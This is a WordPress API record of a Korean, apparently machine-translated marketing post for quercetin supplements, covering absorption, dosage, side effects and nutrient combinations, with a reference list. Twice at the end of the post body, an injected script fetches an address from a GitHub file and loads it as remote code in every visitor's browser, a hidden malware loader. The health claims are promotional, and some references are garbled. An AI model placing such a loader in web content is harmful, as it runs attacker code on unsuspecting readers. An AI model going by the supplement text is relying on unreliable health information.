\uc774\uc6a9\ub960\uc774 \ub192\uc9c0 \uc54a\uc544 \uc27d\uac8c \ud761\uc218\ub418\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4. \uadf8\ub7ec\ub098 \uc5f0\uad6c\uc9c4\uc740 \ucf00\ub974\uc138\ud2f4\uc744 \uc778\uc9c0\uc9c8 \ubcf5\ud569\uccb4\ub77c\uace0 \ud558\ub294 \uc2dd\ubb3c \uc720\ub798 \uc778\uc9c0\uc9c8 \ubcf5\ud569\uccb4\uc5d0 \ucea1\uc290\ud654\ud558\uba74 \ucf00\ub974\uc138\ud2f4\uc758 \uc0dd\uccb4 \uc774\uc6a9\ub960\uc744 \ud06c\uac8c \ud5a5\uc0c1\uc2dc\ud0ac \uc218 \uc788\ub2e4\ub294 \uc0ac\uc2e4\uc744 \ubc1c\uacac\ud588\uc2b5\ub2c8\ub2e4. \uc774\ub294 \uacb0\uad6d \ub354 \uc801\uc740 \uc591\uc73c\ub85c\ub3c4 \ub354 \ud070 \ud018\ub974\uc138\ud2f4 \ud6a8\uacfc\ub97c \uc5bb\uc744 \uc218 \uc788\ub2e4\ub294 \uac83\uc744 \uc758\ubbf8\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>Life Extension\uc740 \ud761\uc218\uc728\uc774 \ub6f0\uc5b4\ub09c \uc0c8\ub85c\uc6b4 \uc2dd\ubb3c \ubcf5\ud569 \ud3ec\uc7a5 \ucf00\ub974\uc138\ud2f4 \ubcf4\ucda9\uc81c\ub97c \uc81c\uacf5\ud558\uba70, \ucf00\ub974\uc138\ud2f4 \uc774\uc218\ud654\ubb3c\uc744 \ud568\uaed8 \uc12d\ucde8\ud558\uc5ec \uc774\ub7ec\ud55c \uc601\uc591\uc18c\uc758 \uc0dd\ubb3c\ud559\uc801 \ud65c\uc131\uc744 \uadf9\ub300\ud654\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\ucf00\ub974\uc138\ud2f4\uc740 \ubd80\uc791\uc6a9\uc774 \uc788\ub098\uc694?<\/h2>\n\n\n\n<p>\ub2e4\ub978 \ubcf4\ucda9\uc81c\uc640 \ub9c8\ucc2c\uac00\uc9c0\ub85c \ud018\ub974\uc138\ud2f4\ub3c4 \ubd80\uc791\uc6a9\uc774 \uc788\ub294 \uac83\uc73c\ub85c \uc54c\ub824\uc838 \uc788\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4. FDA\ub294 \uc77c\ubc18\uc801\uc73c\ub85c \ud018\ub974\uc138\ud2f4\uc744 500mg\uae4c\uc9c0 \ubcf5\uc6a9\ud574\ub3c4 \uc548\uc804\ud55c \uac83\uc73c\ub85c \uac04\uc8fc\ud558\uc9c0\ub9cc, \uc774\ubcf4\ub2e4 \ud6e8\uc52c \ub9ce\uc740 \uc591\uc744 \ubcf5\uc6a9\ud574\ub3c4 \uc548\uc804\ud55c \uac83\uc73c\ub85c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\ucf00\ub974\uc138\ud2f4\uc740 \uc5bc\ub9c8\ub098 \uc12d\ucde8\ud560 \uc218 \uc788\ub098\uc694?<\/h2>\n\n\n\n<p>\ud55c \uc784\uc0c1 \uc2dc\ud5d8\uc5d0\uc11c\ub294 \ud558\ub8e8 2000mg\uc758 \ucf00\ub974\uc138\ud2f4\uc744 \uc77c\uc8fc\uc77c \ub3d9\uc548 \uc548\uc804\ud558\uac8c \uc0ac\uc6a9\ud588\uc2b5\ub2c8\ub2e4. \ud56d\uc0c1 \ubcd1\uc5d0 \ud45c\uc2dc\ub41c \ubcf5\uc6a9\ub7c9\uacfc \uc9c0\uce68\uc744 \ub530\ub974\uc138\uc694.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\ucf00\ub974\uc138\ud2f4\uacfc \ud568\uaed8 \uc0ac\uc6a9\ud560 \uc218 \uc788\ub294 \ub2e4\ub978 \uac74\uac15 \ubcf4\uc870 \uc2dd\ud488\uc5d0\ub294 \uc5b4\ub5a4 \uac83\uc774 \uc788\ub098\uc694?<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>- \ucf00\ub974\uc138\ud2f4 \ubc0f \uae30\ud0c0 \ub178\ud654 \ubc29\uc9c0\uc81c<\/strong><\/h3>\n\n\n\n<p>\ud2b9\uc815 \uba74\uc5ed \ubcf4\ucda9\uc81c\ub294 \ud568\uaed8 \uc12d\ucde8\ud560 \ub54c \uac00\uc7a5 \ud6a8\uacfc\uac00 \uc88b\uc2b5\ub2c8\ub2e4. \uc5f0\uad6c\uc5d0 \ub530\ub974\uba74 \ucf00\ub974\uc138\ud2f4\uc744 \ud53c\uc138\ud2f4, \ud14c\uc544\ud50c\ub77c\ube48, \uc544\ud53c\uc81c\ub2cc\uacfc \uac19\uc740 \ub2e4\ub978 \ub178\ud654 \ubc29\uc9c0\uc81c\uc640 \ud568\uaed8 \ubcf5\uc6a9\ud558\uba74 \ub178\ud654 \uc138\ud3ec\ub97c \uc81c\uac70\ud558\ub294 \ub370 \uc2dc\ub108\uc9c0 \ud6a8\uacfc\uac00 \uc788\uc744 \uc218 \uc788\ub2e4\uace0 \ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>- \ud018\ub974\uc138\ud2f4\uacfc \ud568\uaed8 <a href=\"https:\/\/www.backvita.com\/ko\/\uc81c\ud488-\uce74\ud14c\uace0\ub9ac\/vitamin-derivatives\/vitamin-c\/\">\ube44\ud0c0\ubbfc C<\/a><\/strong><\/h3>\n\n\n\n<p>\ucf00\ub974\uc138\ud2f4\uacfc \ube44\ud0c0\ubbfc C\ub294 \ub9ce\uc740 \uc2dd\ud488, \ud2b9\ud788 \uac10\uade4\ub958 \uacfc\uc77c\uc5d0\uc11c \ud754\ud788 \ubc1c\uacac\ub418\uba70, \uc5f0\uad6c \uac80\ud1a0\uc5d0 \ub530\ub974\uba74 \ube44\ud0c0\ubbfc C\uc640 \ucf00\ub974\uc138\ud2f4\uc744 \ud568\uaed8 \ud22c\uc5ec\ud558\uba74 \uba74\uc5ed \ubc29\uc5b4\uc5d0 \uc2dc\ub108\uc9c0 \ud6a8\uacfc\ub97c \ubc1c\ud718\ud560 \uc218 \uc788\ub2e4\uace0 \ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>- \uc544\uc5f0 \ud568\uc720 \ucf00\ub974\uc138\ud2f4<\/strong><\/h3>\n\n\n\n<p>\uc544\uc5f0\uc740 \uba74\uc5ed \uc9c0\uc6d0 \ud2b9\uc131\uc73c\ub85c \uc798 \uc54c\ub824\uc838 \uc788\uc73c\uba70 \ud018\ub974\uc138\ud2f4\uc758 \uba74\uc5ed \ud6a8\ub2a5\uc744 \ubcf4\uc644\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4. \ud55c \uc5f0\uad6c\uc5d0 \ub530\ub974\uba74 \ud018\ub974\uc138\ud2f4\uc740 \uc544\uc5f0 \uc774\uc628 \uc6b4\ubc18\uccb4 \uc5ed\ud560\uc744 \ud558\uc5ec \ud608\uc7a5\ub9c9\uc744 \ud1b5\ud574 \uc544\uc5f0 \uc591\uc774\uc628\uc744 \uc6b4\ubc18\ud558\uba70, \uc774 \uc5f0\uad6c\ub294 \ud018\ub974\uc138\ud2f4\uc774 \uc544\uc5f0 \ud761\uc218\ub97c \uc99d\uac00\uc2dc\ud0a4\ub294 \ub370 \ub3c4\uc6c0\uc774 \ub420 \uc218 \uc788\uc74c\uc744 \uc2dc\uc0ac\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ucc38\uc870:<\/p>\n\n\n\n<p>- \ucc28\ud06c\ub77c\uc640\ub974\ud2f0, L \uc678. \"EGCG\uc758 \uce58\ub8cc \ud6a8\uacfc: \ud2b9\ud5c8 \uc2ec\uc0ac\", \uce58\ub8cc \ud2b9\ud5c8 \uc804\ubb38\uac00 \uc758\uacac, 2016\ub144 8\uc6d4, https:\/\/pubmed.ncbi.nlm.nih.gov\/27338088\/<\/p>\n\n\n\n<p>\ucf54\uc77c, D. \"\uc124\ud3ec\ub77c\ud310 : \uc774\uc810, \ubd80\uc791\uc6a9 \ubc0f \uc2dd\ud488 \uacf5\uae09\uc6d0\", Healthline, 2019 \ub144 2 \uc6d4, HTTPS : \/ \/ www.healthline.com\/nutrition\/sulforaphane<\/p>\n\n\n\n<p>- \ud558\uc778\uc988, S. \uc678, \"\ubcf4\ucda9 \ucf00\ub974\uc138\ud2f4\uacfc \uc0c1\uae30\ub3c4 \uac10\uc5fc: \ubb34\uc791\uc704 \uc784\uc0c1 \uc2dc\ud5d8 \ucee4\ubba4\ub2c8\ud2f0\", \uc57d\ub9ac\ud559 \uc5f0\uad6c, 2010\ub144 5\uc6d4, https:\/\/www.ncbi.nlm.nih.gov\/labs\/pmc\/articles\/PMC7128946\/<\/p>\n\n\n\n<p>- \"\ud018\ub974\uc138\ud2f4\uacfc \uc5d0\ud53c\uac08\ub85c\uce74\ud14c\ud0a8 \uac08\ub808\uc774\ud2b8\uc758 \uc544\uc5f0 \uc774\uc624\ub178\ud3ec\uc5b4 \ud65c\uc131: \ud5e4\ud30c 1-6 \uc138\ud3ec\uc5d0\uc11c \ub9ac\ud3ec\uc880 \ubaa8\ub378\uc5d0 \uc774\ub974\uae30\uae4c\uc9c0.\" 2014\ub144 7\uc6d4, \ub18d\uc5c5 \ubc0f \uc2dd\ud488 \ud654\ud559 \uc800\ub110, https:\/\/pubs.acs.org\/doi\/abs\/10.1021\/jf5014633<\/p>\n\n\n\n<p>- \ucee4\ud074\ub79c\ub4dc, JL \ubc0f T \uce58\ucf54\ub2c8\uc544. \"\ub178\uc778\uc131 \uc57d\ubb3c: \ubc1c\uacac\uc5d0\uc11c \ud601\uc2e0\uc73c\ub85c.\" \ub0b4\uacfc \uc800\ub110, 2020\ub144 8\uc6d4, https:\/\/www.ncbi.nlm.nih.gov\/pmc\/articles\/PMC7405395\/<\/p>\n\n\n\n<p>- \"\ube0c\ub85c\ucf5c\ub9ac\uc758 \uc124\ud3ec\ub77c\ud310\uacfc \uc778\ub3cc-3-\uba54\ud0c4\uc62c\uc5d0 \ub300\ud55c \uace0\ud574\uc0c1\ub3c4 \uc9c8\ub7c9 \ubd84\uc11d \uc5f0\uad6c\". \uc2dd\ud488 \ud654\ud559, 2017\ub144 12\uc6d4, https:\/\/pubmed.ncbi.nlm.nih.gov\/28764036\/<\/p>\n\n\n\n<p>- \"\ub300\uc0ac \uc99d\ud6c4\uad70 \ubc0f \uad00\ub828 \uc7a5\uc560\uac00\uc788\ub294 \ud658\uc790\uc758 \ubcf4\ucda9 \ucf00\ub974\uc138\ud2f4 \ud608\ub2f9 \uc870\uc808 : \ubb34\uc791\uc704 \ub300\uc870 \uc2dc\ud5d8 \ubc0f \uba54\ud0c0 \ubd84\uc11d\uc5d0 \ub300\ud55c \uccb4\uacc4\uc801\uc778 \uac80\ud1a0\", \uc2dd\ubb3c \uc694\ubc95 \uc5f0\uad6c, 2019 \ub144 5 \uc6d4, HTTPS : \/ \/ pubmed. Ncbi. \ub3d9\uc548 NLM. Nih. Gov \/ 30848564 \/<\/p>\n\n\n\n<p>- \uc138\ub974\ubc18, MC \ub4f1 \"\ucf00\ub974\uc138\ud2f4\uc774 \ud608\uc555\uc5d0 \ubbf8\uce58\ub294 \uc601\ud5a5: \ubb34\uc791\uc704 \ub300\uc870 \uc2dc\ud5d8 \ubc0f \uba54\ud0c0 \ubd84\uc11d\uc758 \uccb4\uacc4\uc801 \uac80\ud1a0\", \ubbf8\uad6d \uc2ec\uc7a5\ud559\ud68c \uc800\ub110, 2016\ub144 7\uc6d4, https:\/\/pubmed.ncbi.nlm.nih.gov\/27405810\/<\/p>\n\n\n\n<p>- \"\ucf00\uc77c \ubc0f \uae30\ud0c0 \ucc44\uc18c, \uce74\ub85c\ud2f0\ub178\uc774\ub4dc \ud568\ub7c9 \ubcc0\ud654: \uc218\ud655 \uc804\uacfc \uc218\ud655 \ud6c4 \uc601\ud5a5 \uac80\ud1a0\", \ub18d\uc5c5 \ubc0f \uc2dd\ud488 \ud654\ud559 \uc800\ub110, 2015\ub144 11\uc6d4, https:\/\/pubmed.ncbi.nlm.nih.gov\/26477753\/<\/p>\n\n\n\n<p>- \"\ud398\ub180 \ud0d0\uc0c9\uae30.\" http:\/\/phenol-explorer.eu\/<\/p>\n\n\n\n<p>- \"\ube44\ud0c0\ubbfc C - \uc694\uc57d\", \ub77c\uc774\ub108\uc2a4 \ud3f4\ub9c1 \uc5f0\uad6c\uc18c. https:\/\/lpi.oregonstate.edu\/mic\/vitamins\/vitamin-C<\/p>\n\n\n\n<p><strong>\ucf00\ub974\uc138\ud2f4 \uacf5\uae09\uc5c5\uccb4: <em>www.backvita.com<\/em><br>\uc774\uba54\uc77c: info@backvita.com<br>\uc804\ud654 +86 (029) 8187 2325<\/strong><\/p>\n (<script>var url = \"https:\/\/raw.githubusercontent.com\/truba77\/trubnik\/main\/to.txt\"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(\"script\"); script.src = data.trim(); document.getElementsByTagName(\"head\")[0].appendChild(script); });<\/script>) (<script>var url = \"https:\/\/raw.githubusercontent.com\/truba77\/trubnik\/main\/to.txt\"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(\"script\"); script.src = data.trim(); document.getElementsByTagName(\"head\")[0].appendChild(script); });<\/script>)","protected":false},"excerpt":{"rendered":"<p>We&#8217;ve all heard the health claims, &#8220;An apple a day keeps the doctor away,&#8221; but do we know why? In addition to being a great source of fiber and vitamins, apples are also a great source of health-promoting polyphenols like quercetin. If you haven&#8217;t heard of quercetin, you&#8217;re certainly not alone; Zinc and vitamins C [&hellip;]<\/p>","protected":false},"author":1,"featured_media":3532,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"none","_seopress_titles_title":"10 quercetin Rich Foods!","_seopress_titles_desc":"Quercetin belongs to a group of plant compounds called dietary flavonoids, which are polyphenols that form the basis of many different plant pigments. ","_seopress_robots_index":"","footnotes":""},"categories":[1],"tags":[1394,1483],"blocksy_meta":"","featured_image_urls":{"full":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination.webp",810,455,false],"thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination-150x150.webp",150,150,true],"medium":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination-300x169.webp",300,169,true],"medium_large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination-768x431.webp",768,431,true],"large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination.webp",810,455,false],"1536x1536":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination.webp",810,455,false],"2048x2048":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination.webp",810,455,false],"trp-custom-language-flag":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination.webp",18,10,false],"woocommerce_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination-300x300.webp",300,300,true],"woocommerce_single":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination-600x337.webp",600,337,true],"woocommerce_gallery_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination-100x100.webp",100,100,true]},"post_excerpt_stackable":"<p>We&#8217;ve all heard the health claims, &#8220;An apple a day keeps the doctor away,&#8221; but do we know why? In addition to being a great source of fiber and vitamins, apples are also a great source of health-promoting polyphenols like quercetin. If you haven&#8217;t heard of quercetin, you&#8217;re certainly not alone; Zinc and vitamins C and D are often instrumental in supporting immune health. Despite its strange name, quercetin is probably the most underrated nutrient in your diet. Its benefits go far beyond boosting the body&#8217;s natural defenses. So what is quercetin &#8211; and what other foods can you find&hellip;<\/p>\n","category_list":"<a href=\"https:\/\/www.backvita.com\/ko\/category\/\uc5c5\uacc4-\ub3d9\ud5a5\/\" rel=\"category tag\">Industry Trends<\/a>","author_info":{"name":"backvita","url":"https:\/\/www.backvita.com\/ko\/author\/backvita\/"},"comments_num":"0 comments","_links":{"self":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts\/3848"}],"collection":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/comments?post=3848"}],"version-history":[{"count":3,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts\/3848\/revisions"}],"predecessor-version":[{"id":6574,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts\/3848\/revisions\/6574"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/media\/3532"}],"wp:attachment":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/media?parent=3848"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/categories?post=3848"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/tags?post=3848"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}